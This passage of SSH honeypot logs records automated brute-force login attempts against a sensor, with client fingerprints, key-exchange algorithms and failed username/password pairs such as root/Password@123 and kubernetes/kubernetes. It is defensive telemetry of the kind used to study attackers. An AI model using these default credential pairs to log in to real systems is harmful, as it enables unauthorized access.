","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:06.994873Z","src_ip":"176.65.139.95","session":"95f0b9354d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:07.724177Z","src_ip":"176.65.139.95","session":"95f0b9354d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:08.826328Z","src_ip":"176.65.139.95","session":"95f0b9354d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43956,"dst_ip":"159.203.135.109","dst_port":22,"session":"166ee5a7828e","protocol":"ssh","message":"New connection: 176.65.139.95:43956 (159.203.135.109:22) [session: 166ee5a7828e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:13.673198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:13.677754Z","src_ip":"176.65.139.95","session":"166ee5a7828e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:13.760948Z","src_ip":"176.65.139.95","session":"166ee5a7828e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:14.046906Z","src_ip":"176.65.139.95","session":"166ee5a7828e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:15.217851Z","src_ip":"176.65.139.95","session":"166ee5a7828e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35554,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f2838461093","protocol":"ssh","message":"New connection: 176.65.139.95:35554 (159.203.135.109:22) [session: 2f2838461093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:19.739023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:19.952868Z","src_ip":"176.65.139.95","session":"2f2838461093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:19.956370Z","src_ip":"176.65.139.95","session":"2f2838461093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:20.433920Z","src_ip":"176.65.139.95","session":"2f2838461093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:21.525501Z","src_ip":"176.65.139.95","session":"2f2838461093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35574,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d5329525d03","protocol":"ssh","message":"New connection: 176.65.139.95:35574 (159.203.135.109:22) [session: 2d5329525d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:26.160935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:26.165163Z","src_ip":"176.65.139.95","session":"2d5329525d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:26.299944Z","src_ip":"176.65.139.95","session":"2d5329525d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:26.790949Z","src_ip":"176.65.139.95","session":"2d5329525d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:27.956025Z","src_ip":"176.65.139.95","session":"2d5329525d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42728,"dst_ip":"159.203.135.109","dst_port":22,"session":"b129d79065eb","protocol":"ssh","message":"New connection: 176.65.139.95:42728 (159.203.135.109:22) [session: b129d79065eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:32.757998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:32.767162Z","src_ip":"176.65.139.95","session":"b129d79065eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:32.968092Z","src_ip":"176.65.139.95","session":"b129d79065eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:33.335461Z","src_ip":"176.65.139.95","session":"b129d79065eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:34.421052Z","src_ip":"176.65.139.95","session":"b129d79065eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52808,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddd2b43f198c","protocol":"ssh","message":"New connection: 176.65.139.95:52808 (159.203.135.109:22) [session: ddd2b43f198c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:39.395116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:39.399401Z","src_ip":"176.65.139.95","session":"ddd2b43f198c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:39.483486Z","src_ip":"176.65.139.95","session":"ddd2b43f198c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:39.788048Z","src_ip":"176.65.139.95","session":"ddd2b43f198c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:40.888526Z","src_ip":"176.65.139.95","session":"ddd2b43f198c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52810,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6bf4a1b2e2c","protocol":"ssh","message":"New connection: 176.65.139.95:52810 (159.203.135.109:22) [session: e6bf4a1b2e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:45.916390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:45.936014Z","src_ip":"176.65.139.95","session":"e6bf4a1b2e2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:46.026200Z","src_ip":"176.65.139.95","session":"e6bf4a1b2e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:46.330588Z","src_ip":"176.65.139.95","session":"e6bf4a1b2e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:47.419143Z","src_ip":"176.65.139.95","session":"e6bf4a1b2e2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59962,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ab1f3f8c42c","protocol":"ssh","message":"New connection: 159.203.92.129:59962 (159.203.135.109:22) [session: 6ab1f3f8c42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:47.804998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:47.809433Z","src_ip":"159.203.92.129","session":"6ab1f3f8c42c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:47.813362Z","src_ip":"159.203.92.129","session":"6ab1f3f8c42c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"HwHiAiUser","password":"Mind@123","message":"login attempt [HwHiAiUser/Mind@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:47.826795Z","src_ip":"159.203.92.129","session":"6ab1f3f8c42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:48.833984Z","src_ip":"159.203.92.129","session":"6ab1f3f8c42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50632,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7a501ee5036","protocol":"ssh","message":"New connection: 176.65.139.95:50632 (159.203.135.109:22) [session: e7a501ee5036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:52.695535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:52.699351Z","src_ip":"176.65.139.95","session":"e7a501ee5036","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:52.805291Z","src_ip":"176.65.139.95","session":"e7a501ee5036","protocol":"ssh"}
